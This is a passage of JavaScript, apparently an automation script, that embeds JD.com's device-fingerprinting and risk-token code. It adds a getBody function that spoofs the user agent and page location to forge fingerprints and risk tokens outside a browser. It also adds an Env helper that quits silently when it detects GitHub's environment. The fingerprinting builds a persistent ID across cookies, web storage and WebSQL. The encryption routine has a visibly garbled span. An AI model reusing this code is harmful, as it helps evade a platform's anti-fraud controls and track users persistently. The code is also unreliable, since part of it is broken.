window.globalStorage[".localdomain"]["3AB9D23F7A4B3C9B"]); + } catch (k) {} + try { + d && + "function" == typeof d.load && + "function" == typeof d.getAttribute && + (d.load("jdgia_user_data"), + (e.userData = d.getAttribute("3AB9D23F7A4B3C9B"))); + } catch (k) {} + try { + E.indexedDbId && (e.indexedDb = E.indexedDbId); + } catch (k) {} + try { + E.webDbId && (e.webDb = E.webDbId); + } catch (k) {} + try { + for (var r in e) + if (32 < e[r].length) { + _JdEid = e[r]; + n || (_eidFlag = !0); + break; + } + } catch (k) {} + try { + ("undefined" === typeof _JdEid || 0 >= _JdEid.length) && + this.db("3AB9D23F7A4B3C9B"); + if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) + _JdEid = u("3AB9D23F7A4B3C9B"); + if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) _eidFlag = !0; + } catch (k) {} + return _JdEid; + }; + var w = [], + A = + "Abadi MT Condensed Light;Adobe Fangsong Std;Adobe Hebrew;Adobe Ming Std;Agency FB;Arab;Arabic Typesetting;Arial Black;Batang;Bauhaus 93;Bell MT;Bitstream Vera Serif;Bodoni MT;Bookman Old Style;Braggadocio;Broadway;Calibri;Californian FB;Castellar;Casual;Centaur;Century Gothic;Chalkduster;Colonna MT;Copperplate Gothic Light;DejaVu LGC Sans Mono;Desdemona;DFKai-SB;Dotum;Engravers MT;Eras Bold ITC;Eurostile;FangSong;Forte;Franklin Gothic Heavy;French Script MT;Gabriola;Gigi;Gisha;Goudy Old Style;Gulim;GungSeo;Haettenschweiler;Harrington;Hiragino Sans GB;Impact;Informal Roman;KacstOne;Kino MT;Kozuka Gothic Pr6N;Lohit Gujarati;Loma;Lucida Bright;Lucida Fax;Magneto;Malgun Gothic;Matura MT Script Capitals;Menlo;MingLiU-ExtB;MoolBoran;MS PMincho;MS Reference Sans Serif;News Gothic MT;Niagara Solid;Nyala;Palace Script MT;Papyrus;Perpetua;Playbill;PMingLiU;Rachana;Rockwell;Sawasdee;Script MT Bold;Segoe Print;Showcard Gothic;SimHei;Snap ITC;TlwgMono;Tw Cen MT Condensed Extra Bold;Ubuntu;Umpush;Univers;Utopia;Vladimir Script;Wide Latin".split( + ";" + ), + y = + "4game;AdblockPlugin;AdobeExManCCDetect;AdobeExManDetect;Alawar NPAPI utils;Aliedit Plug-In;Alipay Security Control 3;AliSSOLogin plugin;AmazonMP3DownloaderPlugin;AOL Media Playback Plugin;AppUp;ArchiCAD;AVG SiteSafety plugin;Babylon ToolBar;Battlelog Game Launcher;BitCometAgent;Bitdefender QuickScan;BlueStacks Install Detector;CatalinaGroup Update;Citrix ICA Client;Citrix online plug-in;Citrix Receiver Plug-in;Coowon Update;DealPlyLive Update;Default Browser Helper;DivX Browser Plug-In;DivX Plus Web Player;DivX VOD Helper Plug-in;doubleTwist Web Plugin;Downloaders plugin;downloadUpdater;eMusicPlugin DLM6;ESN Launch Mozilla Plugin;ESN Sonar API;Exif Everywhere;Facebook Plugin;File Downloader Plug-in;FileLab plugin;FlyOrDie Games Plugin;Folx 3 Browser Plugin;FUZEShare;GDL Object Web Plug-in 16.00;GFACE Plugin;Ginger;Gnome Shell Integration;Google Earth Plugin;Google Earth Plug-in;Google Gears 0.5.33.0;Google Talk Effects Plugin;Google Update;Harmony Firefox Plugin;Harmony Plug-In;Heroes & Generals live;HPDetect;Html5 location provider;IE Tab plugin;iGetterScriptablePlugin;iMesh plugin;Kaspersky Password Manager;LastPass;LogMeIn Plugin 1.0.0.935;LogMeIn Plugin 1.0.0.961;Ma-Config.com plugin;Microsoft Office 2013;MinibarPlugin;Native Client;Nitro PDF Plug-In;Nokia Suite Enabler Plugin;Norton Identity Safe;npAPI Plugin;NPLastPass;NPPlayerShell;npTongbuAddin;NyxLauncher;Octoshape Streaming Services;Online Storage plug-in;Orbit Downloader;Pando Web Plugin;Parom.TV player plugin;PDF integrado do WebKit;PDF-XChange Viewer;PhotoCenterPlugin1.1.2.2;Picasa;PlayOn Plug-in;QQ2013 Firefox Plugin;QQDownload Plugin;QQMiniDL Plugin;QQMusic;RealDownloader Plugin;Roblox Launcher Plugin;RockMelt Update;Safer Update;SafeSearch;Scripting.Dictionary;SefClient Plugin;Shell.UIHelper;Silverlight Plug-In;Simple Pass;Skype Web Plugin;SumatraPDF Browser Plugin;Symantec PKI Client;Tencent FTN plug-in;Thunder DapCtrl NPAPI Plugin;TorchHelper;Unity Player;Uplay PC;VDownloader;Veetle TV Core;VLC Multimedia Plugin;Web Components;WebKit-integrierte PDF;WEBZEN Browser Extension;Wolfram Mathematica;WordCaptureX;WPI Detector 1.4;Yandex Media Plugin;Yandex PDF Viewer;YouTube Plug-in;zako".split( + ";" + ); + this.toJson = "object" === typeof JSON && JSON.stringify; + this.init = function () { + _fingerprint_step = 6; + t(); + _fingerprint_step = 7; + "function" !== typeof this.toJson && + (this.toJson = function (n) { + var e = typeof n; + if ("undefined" === e || null === n) return "null"; + if ("number" === e || "boolean" === e) return n + ""; + if ("object" === e && n && n.constructor === Array) { + e = []; + for (var f = 0; n.length > f; f++) e.push(this.toJson(n[f])); + return "[" + (e + "]"); + } + if ("object" === e) { + e = []; + for (f in n) + n.hasOwnProperty(f) && e.push('"' + f + '":' + this.toJson(n[f])); + return "{" + (e + "}"); + } + }); + this.sdkCollectInit(); + }; + this.sdkCollectInit = function () { + try { + try { + bp_bizid && (this.bizId = bp_bizid); + } catch (f) { + this.bizId = "jsDefault"; + } + var n = navigator.userAgent.toLowerCase(), + e = + !n.match(/(iphone|ipad|ipod)/i) && + (-1 < n.indexOf("android") || -1 < n.indexOf("adr")); + this.deviceInfo.isJdApp = -1 < n.indexOf("jdapp"); + this.deviceInfo.isJrApp = -1 < n.indexOf("jdjr"); + this.deviceInfo.userAgent = navigator.userAgent; + this.deviceInfo.isAndroid = e; + this.createWorker(); + } catch (f) {} + }; + this.db = function (n, e) { + try { + _fingerprint_step = "m"; + if (window.openDatabase) { + var f = window.openDatabase( + "sqlite_jdtdstorage", + "", + "jdtdstorage", + 1048576 + ); + void 0 !== e && "" != e + ? f.transaction(function (r) { + r.executeSql( + "CREATE TABLE IF NOT EXISTS cache(id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL, value TEXT NOT NULL, UNIQUE (name))", + [], + function (k, g) {}, + function (k, g) {} + ); + r.executeSql( + "INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)", + [n, e], + function (k, g) {}, + function (k, g) {} + ); + }) + : f.transaction(function (r) { + r.executeSql( + "SELECT value FROM cache WHERE name=?", + [n], + function (k, g) { + 1 <= g.rows.length && (_JdEid = g.rows.item(0).value); + }, + function (k, g) {} + ); + }); + } + _fingerprint_step = "n"; + } catch (r) {} + }; + this.setCookie = function (n, e) { + void 0 !== e && + "" != e && + (document.cookie = + n + + "=" + + e + + "; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/; domain=" + + _root_domain); + }; + this.tdencrypt = function (n) { + n = this.toJson(n); + n = encodeURIComponent(n); + var e = "", + f = 0; + do { + var r = n.charCodeAt(f++); + var k = n.charCodeAt(f++); + var g = n.charCodeAt(f++); + var m = r >> 2; + r = ((r & 3) << 4) | (k >> 4); + var a = ((k & 15) << 2) | (g >> 6); + var b = g & 63; + isNaN(k) ? (a = b = 64) : isNaN(g) && (b = 64); + e = + e + + "23IL k; k++) + (C = q[k]), void 0 !== screen[C] && (z[C] = screen[C]); + q = ["devicePixelRatio", "screenTop", "screenLeft"]; + l = {}; + for (k = 0; q.length > k; k++) + (C = q[k]), void 0 !== window[C] && (l[C] = window[C]); + e.p = h; + e.w = l; + e.s = z; + e.sc = f; + e.tz = n.getTimezoneOffset(); + e.lil = w.sort().join("|"); + e.wil = ""; + f = {}; + try { + (f.cookie = navigator.cookieEnabled), + (f.localStorage = !!window.localStorage), + (f.sessionStorage = !!window.sessionStorage), + (f.globalStorage = !!window.globalStorage), + (f.indexedDB = !!window.indexedDB); + } catch (D) {} + e.ss = f; + e.ts.deviceTime = n.getTime(); + e.ts.deviceEndTime = new Date().getTime(); + return this.tdencrypt(e); + }; + this.collectSdk = function (n) { + try { + var e = this, + f = !1, + r = e.getLocal("BATQW722QTLYVCRD"); + if (null != r && void 0 != r && "" != r) + try { + var k = JSON.parse(r), + g = new Date().getTime(); + null != k && + void 0 != k.t && + "number" == typeof k.t && + (12e5 >= g - k.t && + void 0 != k.tk && + null != k.tk && + "" != k.tk && + k.tk.startsWith("jdd") + ? ((e.deviceInfo.sdkToken = k.tk), (f = !0)) + : void 0 != k.tk && + null != k.tk && + "" != k.tk && + (e.deviceInfo.sdkToken = k.tk)); + } catch (m) {} + r = !1; + e.deviceInfo.isJdApp + ? ((e.deviceInfo.clientVersion = navigator.userAgent.split(";")[2]), + (r = 0 < e.compareVersion(e.deviceInfo.clientVersion, "7.0.2")) && + !f && + e.getJdSdkCacheToken(function (m) { + e.deviceInfo.sdkToken = m; + (null != m && "" != m && m.startsWith("jdd")) || + e.getJdBioToken(n); + })) + : e.deviceInfo.isJrApp && + ((e.deviceInfo.clientVersion = navigator.userAgent.match( + /clientVersion=([^&]*)(&|$)/ + )[1]), + (r = 0 < e.compareVersion(e.deviceInfo.clientVersion, "4.6.0")) && + !f && + e.getJdJrSdkCacheToken(function (m) { + e.deviceInfo.sdkToken = m; + (null != m && "" != m && m.startsWith("jdd")) || + e.getJdJrBioToken(n); + })); + "function" == typeof n && n(e.deviceInfo); + } catch (m) {} + }; + this.compareVersion = function (n, e) { + try { + if (n === e) return 0; + var f = n.split("."); + var r = e.split("."); + for (n = 0; n < f.length; n++) { + var k = parseInt(f[n]); + if (!r[n]) return 1; + var g = parseInt(r[n]); + if (k < g) break; + if (k > g) return 1; + } + } catch (m) {} + return -1; + }; + this.isWKWebView = function () { + return this.deviceInfo.userAgent.match(/supportJDSHWK/i) || + 1 == window._is_jdsh_wkwebview + ? !0 + : !1; + }; + this.getErrorToken = function (n) { + try { + if (n) { + var e = (n + "").match(/"token":"(.*?)"/); + if (e && 1 < e.length) return e[1]; + } + } catch (f) {} + return ""; + }; + this.getJdJrBioToken = function (n) { + var e = this; + "undefined" != typeof JrBridge && + null != JrBridge && + "undefined" != typeof JrBridge._version && + (0 > e.compareVersion(JrBridge._version, "2.0.0") + ? console.error( + "\u6865\u7248\u672c\u4f4e\u4e8e2.0\u4e0d\u652f\u6301bio" + ) + : JrBridge.callNative( + { + type: e.bioConfig.type, + operation: e.bioConfig.operation, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval, + }, + }, + function (f) { + try { + "object" != typeof f && (f = JSON.parse(f)), + (e.deviceInfo.sdkToken = f.token); + } catch (r) { + console.error(r); + } + null != e.deviceInfo.sdkToken && + "" != e.deviceInfo.sdkToken && + ((f = { + tk: e.deviceInfo.sdkToken, + t: new Date().getTime(), + }), + e.store("BATQW722QTLYVCRD", JSON.stringify(f))); + } + )); + }; + this.getJdJrSdkCacheToken = function (n) { + var e = this; + try { + "undefined" == typeof JrBridge || + null == JrBridge || + "undefined" == typeof JrBridge._version || + 0 > e.compareVersion(JrBridge._version, "2.0.0") || + JrBridge.callNative( + { + type: e.bioConfig.type, + operation: 5, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval, + }, + }, + function (f) { + var r = ""; + try { + "object" != typeof f && (f = JSON.parse(f)), (r = f.token); + } catch (k) { + console.error(k); + } + null != r && + "" != r && + "function" == typeof n && + (n(r), + r.startsWith("jdd") && + ((f = { + tk: r, + t: new Date().getTime(), + }), + e.store("BATQW722QTLYVCRD", JSON.stringify(f)))); + } + ); + } catch (f) {} + }; + this.getJdBioToken = function (n) { + var e = this; + n = JSON.stringify({ + businessType: "bridgeBiologicalProbe", + callBackName: "_bioDeviceCb", + params: { + pin: "", + jsonData: { + type: e.bioConfig.type, + operation: e.bioConfig.operation, + data: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval, + }, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval, + }, + }, + }, + }); + e.isWKWebView() + ? window.webkit.messageHandlers.JDAppUnite.postMessage({ + method: "notifyMessageToNative", + params: n, + }) + : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(n); + window._bioDeviceCb = function (f) { + try { + var r = "object" == typeof f ? f : JSON.parse(f); + if (void 0 != r && null != r && "0" != r.status) return; + null != r.data.token && + void 0 != r.data.token && + "" != r.data.token && + (e.deviceInfo.sdkToken = r.data.token); + } catch (k) { + (f = e.getErrorToken(f)), + null != f && "" != f && (e.deviceInfo.sdkToken = f); + } + null != e.deviceInfo.sdkToken && + "" != e.deviceInfo.sdkToken && + ((f = { + tk: e.deviceInfo.sdkToken, + t: new Date().getTime(), + }), + e.store("BATQW722QTLYVCRD", JSON.stringify(f))); + }; + }; + this.getJdSdkCacheToken = function (n) { + try { + var e = this, + f = JSON.stringify({ + businessType: "bridgeBiologicalProbe", + callBackName: "_bioDeviceSdkCacheCb", + params: { + pin: "", + jsonData: { + type: e.bioConfig.type, + operation: 5, + data: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval, + }, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval, + }, + }, + }, + }); + e.isWKWebView() + ? window.webkit.messageHandlers.JDAppUnite.postMessage({ + method: "notifyMessageToNative", + params: f, + }) + : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(f); + window._bioDeviceSdkCacheCb = function (r) { + var k = ""; + try { + var g = "object" == typeof r ? r : JSON.parse(r); + if (void 0 != g && null != g && "0" != g.status) return; + k = g.data.token; + } catch (m) { + k = e.getErrorToken(r); + } + null != k && + "" != k && + "function" == typeof n && + (n(k), + k.startsWith("jdd") && + ((r = { + tk: k, + t: new Date().getTime(), + }), + e.store("BATQW722QTLYVCRD", JSON.stringify(r)))); + }; + } catch (r) {} + }; + this.store = function (n, e) { + try { + this.setCookie(n, e); + } catch (f) {} + try { + window.localStorage && window.localStorage.setItem(n, e); + } catch (f) {} + try { + window.sessionStorage && window.sessionStorage.setItem(n, e); + } catch (f) {} + try { + window.globalStorage && + window.globalStorage[".localdomain"].setItem(n, e); + } catch (f) {} + try { + this.db(n, _JdEid); + } catch (f) {} + }; + this.getLocal = function (n) { + var e = {}, + f = null; + try { + var r = document.cookie.replace( + new RegExp("(?:(?:^|.*;\\s*)" + n + "\\s*\\=\\s*([^;]*).*$)|^.*$"), + "$1" + ); + 0 !== r.length && (e.cookie = r); + } catch (g) {} + try { + window.localStorage && + null !== window.localStorage && + 0 !== window.localStorage.length && + (e.localStorage = window.localStorage.getItem(n)); + } catch (g) {} + try { + window.sessionStorage && + null !== window.sessionStorage && + (e.sessionStorage = window.sessionStorage[n]); + } catch (g) {} + try { + p.globalStorage && + (e.globalStorage = window.globalStorage[".localdomain"][n]); + } catch (g) {} + try { + d && + "function" == typeof d.load && + "function" == typeof d.getAttribute && + (d.load("jdgia_user_data"), (e.userData = d.getAttribute(n))); + } catch (g) {} + try { + E.indexedDbId && (e.indexedDb = E.indexedDbId); + } catch (g) {} + try { + E.webDbId && (e.webDb = E.webDbId); + } catch (g) {} + try { + for (var k in e) + if (32 < e[k].length) { + f = e[k]; + break; + } + } catch (g) {} + try { + if (null == f || "undefined" === typeof f || 0 >= f.length) f = u(n); + } catch (g) {} + return f; + }; + this.createWorker = function () { + if (window.Worker) { + try { + var n = new Blob( + [ + "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};", + ], + { + type: "application/javascript", + } + ); + } catch (e) { + (window.BlobBuilder = + window.BlobBuilder || + window.WebKitBlobBuilder || + window.MozBlobBuilder), + (n = new BlobBuilder()), + n.append( + "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};" + ), + (n = n.getBlob()); + } + try { + this.worker = new Worker(URL.createObjectURL(n)); + } catch (e) {} + } + }; + this.reportWorker = function (n, e, f, r) { + try { + null != this.worker && + (this.worker.postMessage( + JSON.stringify({ + url: n, + data: e, + success: !1, + async: !1, + }) + ), + (this.worker.onmessage = function (k) {})); + } catch (k) {} + }; +})(); + +function td_collect_exe() { + _fingerprint_step = 8; + var t = td_collect.collect(); + td_collect.collectSdk(); + var u = "string" === typeof orderId ? orderId : "", + v = "undefined" !== typeof jdfp_pinenp_ext && jdfp_pinenp_ext ? 2 : 1; + u = { + pin: _jdJrTdCommonsObtainPin(v), + oid: u, + p: "https:" == document.location.protocol ? "s" : "h", + fp: risk_jd_local_fingerprint, + ctype: v, + v: "2.7.10.4", + f: "3", + }; + try { + (u.o = _CurrentPageUrl), (u.qs = _url_query_str); + } catch (w) {} + _fingerprint_step = 9; + 0 >= _JdEid.length && + ((_JdEid = td_collect.obtainLocal()), 0 < _JdEid.length && (_eidFlag = !0)); + u.fc = _JdEid; + try { + u.t = jd_risk_token_id; + } catch (w) {} + try { + if ("undefined" != typeof gia_fp_qd_uuid && 0 <= gia_fp_qd_uuid.length) + u.qi = gia_fp_qd_uuid; + else { + var x = _JdJrRiskClientStorage.jdtdstorage_cookie("qd_uid"); + u.qi = void 0 == x ? "" : x; + } + } catch (w) {} + "undefined" != typeof jd_shadow__ && + 0 < jd_shadow__.length && + (u.jtb = jd_shadow__); + try { + td_collect.deviceInfo && + void 0 != td_collect.deviceInfo && + null != td_collect.deviceInfo.sdkToken && + "" != td_collect.deviceInfo.sdkToken + ? ((u.stk = td_collect.deviceInfo.sdkToken), (td_collect.isRpTok = !0)) + : (td_collect.isRpTok = !1); + } catch (w) { + td_collect.isRpTok = !1; + } + x = td_collect.tdencrypt(u); + // console.log(u) + return { a: x, d: t }; +} + +function _jdJrTdCommonsObtainPin(t) { + var u = ""; + "string" === typeof jd_jr_td_risk_pin && 1 == t + ? (u = jd_jr_td_risk_pin) + : "string" === typeof pin + ? (u = pin) + : "object" === typeof pin && + "string" === typeof jd_jr_td_risk_pin && + (u = jd_jr_td_risk_pin); + return u; +} + +function getBody(userAgent, url = document.location.href) { + navigator.userAgent = userAgent; + let href = url; + let choose = /((https?:)\/\/([^\/]+))(.+)/.exec(url); + let [, origin, protocol, host, pathname] = choose; + document.location.href = href; + document.location.origin = origin; + document.location.protocol = protocol; + document.location.host = host; + document.location.pathname = pathname; + const JF = new JdJrTdRiskFinger(); + let fp = JF.f.get(function (t) { + risk_jd_local_fingerprint = t; + return t; + }); + let arr = td_collect_exe(); + return { fp, ...arr }; +} + +function Env(t, e) { + "undefined" != typeof process && + JSON.stringify(process.env).indexOf("GITHUB") > -1 && + process.exit(0); + + class s { + constructor(t) { + this.env = t; + } + + send(t, e = "GET") { + t = "string" == typeof t ? { url: t } : t; + let s = this.get; + return ( + "POST" === e && (s = this.post), + new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s); + }); + }) + ); + } + + get(t) { + return this.send.call(this.env, t); + } + + post(t) { + return this.send.call(this.env, t, "POST"); + } + } + + return new (class { + constructor(t, e) { + (this.name = t), + (this.http = new s(this)), + (this.data = null), + (this.dataFile = "box.dat"), + (this.logs = []), + (this.isMute = !1), + (this.isNeedRewrite = !1), + (this.logSeparator = "\n"), + (this.startTime = new Date().getTime()), + Object.assign(this, e), + this.log("", `🔔${this.name}, 开始!`); + } + + isNode() { + return "undefined" != typeof module && !!module.exports; + } + + isQuanX() { + return "undefined" != typeof $task; + } + + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon; + } + + isLoon() { + return "undefined" != typeof $loon; + } + + toObj(t, e = null) { + try { + return JSON.parse(t); + } catch { + return e; + } + } + + toStr(t, e = null) { + try { + return JSON.stringify(t); + } catch { + return e; + } + } + + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) + try { + s = JSON.parse(this.getdata(t)); + } catch {} + return s; + } + + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e); + } catch { + return !1; + } + } + + getScript(t) { + return new Promise((e) => { + this.get({ url: t }, (t, s, i) => e(i)); + }); + } + + runScript(t, e) { + return new Promise((s) => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + (r = r ? 1 * r : 20), (r = e && e.timeout ? e.timeout : r); + const [o, h] = i.split("@"), + n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { script_text: t, mock_type: "cron", timeout: r }, + headers: { "X-Key": o, Accept: "*/*" }, + }; + this.post(n, (t, e, i) => s(i)); + }).catch((t) => this.logErr(t)); + } + + loaddata() { + if (!this.isNode()) return {}; + { + (this.fs = this.fs ? this.fs : require("fs")), + (this.path = this.path ? this.path : require("path")); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; + { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)); + } catch (t) { + return {}; + } + } + } + } + + writedata() { + if (this.isNode()) { + (this.fs = this.fs ? this.fs : require("fs")), + (this.path = this.path ? this.path : require("path")); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s + ? this.fs.writeFileSync(t, r) + : i + ? this.fs.writeFileSync(e, r) + : this.fs.writeFileSync(t, r); + } + } + + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) if (((r = Object(r)[t]), void 0 === r)) return s; + return r; + } + + lodash_set(t, e, s) { + return Object(t) !== t + ? t + : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), + (e + .slice(0, -1) + .reduce( + (t, s, i) => + Object(t[s]) === t[s] + ? t[s] + : (t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}), + t + )[e[e.length - 1]] = s), + t); + } + + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), + r = s ? this.getval(s) : ""; + if (r) + try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e; + } catch (t) { + e = ""; + } + } + return e; + } + + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), + o = this.getval(i), + h = i ? ("null" === o ? null : o || "{}") : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), (s = this.setval(JSON.stringify(e), i)); + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), (s = this.setval(JSON.stringify(o), i)); + } + } else s = this.setval(t, e); + return s; + } + + getval(t) { + return this.isSurge() || this.isLoon() + ? $persistentStore.read(t) + : this.isQuanX() + ? $prefs.valueForKey(t) + : this.isNode() + ? ((this.data = this.loaddata()), this.data[t]) + : (this.data && this.data[t]) || null; + } + + setval(t, e) { + return this.isSurge() || this.isLoon() + ? $persistentStore.write(t, e) + : this.isQuanX() + ? $prefs.setValueForKey(t, e) + : this.isNode() + ? ((this.data = this.loaddata()), + (this.data[e] = t), + this.writedata(), + !0) + : (this.data && this.data[e]) || null; + } + + initGotEnv(t) { + (this.got = this.got ? this.got : require("got")), + (this.cktough = this.cktough ? this.cktough : require("tough-cookie")), + (this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar()), + t && + ((t.headers = t.headers ? t.headers : {}), + void 0 === t.headers.Cookie && + void 0 === t.cookieJar && + (t.cookieJar = this.ckjar)); + } + + get(t, e = () => {}) { + t.headers && + (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), + this.isSurge() || this.isLoon() + ? (this.isSurge() && + this.isNeedRewrite && + ((t.headers = t.headers || {}), + Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), + $httpClient.get(t, (t, s, i) => { + !t && s && ((s.body = i), (s.statusCode = s.status)), e(t, s, i); + })) + : this.isQuanX() + ? (this.isNeedRewrite && + ((t.opts = t.opts || {}), Object.assign(t.opts, { hints: !1 })), + $task.fetch(t).then( + (t) => { + const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o); + }, + (t) => e(t) + )) + : this.isNode() && + (this.initGotEnv(t), + this.got(t) + .on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"] + .map(this.cktough.Cookie.parse) + .toString(); + s && this.ckjar.setCookieSync(s, null), + (e.cookieJar = this.ckjar); + } + } catch (t) { + this.logErr(t); + } + }) + .then( + (t) => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o, + } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o); + }, + (t) => { + const { message: s, response: i } = t; + e(s, i, i && i.body); + } + )); + } + + post(t, e = () => {}) { + if ( + (t.body && + t.headers && + !t.headers["Content-Type"] && + (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), + t.headers && delete t.headers["Content-Length"], + this.isSurge() || this.isLoon()) + ) + this.isSurge() && + this.isNeedRewrite && + ((t.headers = t.headers || {}), + Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), + $httpClient.post(t, (t, s, i) => { + !t && s && ((s.body = i), (s.statusCode = s.status)), e(t, s, i); + }); + else if (this.isQuanX()) + (t.method = "POST"), + this.isNeedRewrite && + ((t.opts = t.opts || {}), Object.assign(t.opts, { hints: !1 })), + $task.fetch(t).then( + (t) => { + const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o); + }, + (t) => e(t) + ); + else if (this.isNode()) { + this.initGotEnv(t); + const { url: s, ...i } = t; + this.got.post(s, i).then( + (t) => { + const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o); + }, + (t) => { + const { message: s, response: i } = t; + e(s, i, i && i.body); + } + ); + } + } + + time(t, e = null) { + const s = e ? new Date(e) : new Date(); + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds(), + }; + /(y+)/.test(t) && + (t = t.replace( + RegExp.$1, + (s.getFullYear() + "").substr(4 - RegExp.$1.length) + )); + for (let e in i) + new RegExp("(" + e + ")").test(t) && + (t = t.replace( + RegExp.$1, + 1 == RegExp.$1.length + ? i[e] + : ("00" + i[e]).substr(("" + i[e]).length) + )); + return t; + } + + msg(e = t, s = "", i = "", r) { + const o = (t) => { + if (!t) return t; + if ("string" == typeof t) + return this.isLoon() + ? t + : this.isQuanX() + ? { "open-url": t } + : this.isSurge() + ? { url: t } + : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { openUrl: e, mediaUrl: s }; + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { "open-url": e, "media-url": s }; + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { url: e }; + } + } + }; + if ( + (this.isMute || + (this.isSurge() || this.isLoon() + ? $notification.post(e, s, i, o(r)) + : this.isQuanX() && $notify(e, s, i, o(r))), + !this.isMuteLog) + ) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), + s && t.push(s), + i && t.push(i), + console.log(t.join("\n")), + (this.logs = this.logs.concat(t)); + } + } + + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), + console.log(t.join(this.logSeparator)); + } + + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s + ? this.log("", `❗️${this.name}, 错误!`, t.stack) + : this.log("", `❗️${this.name}, 错误!`, t); + } + + wait(t) { + return new Promise((e) => setTimeout(e, t)); + } + + done(t = {}) { + const e = new Date().getTime(), + s = (e - this.startTime) / 1e3; + 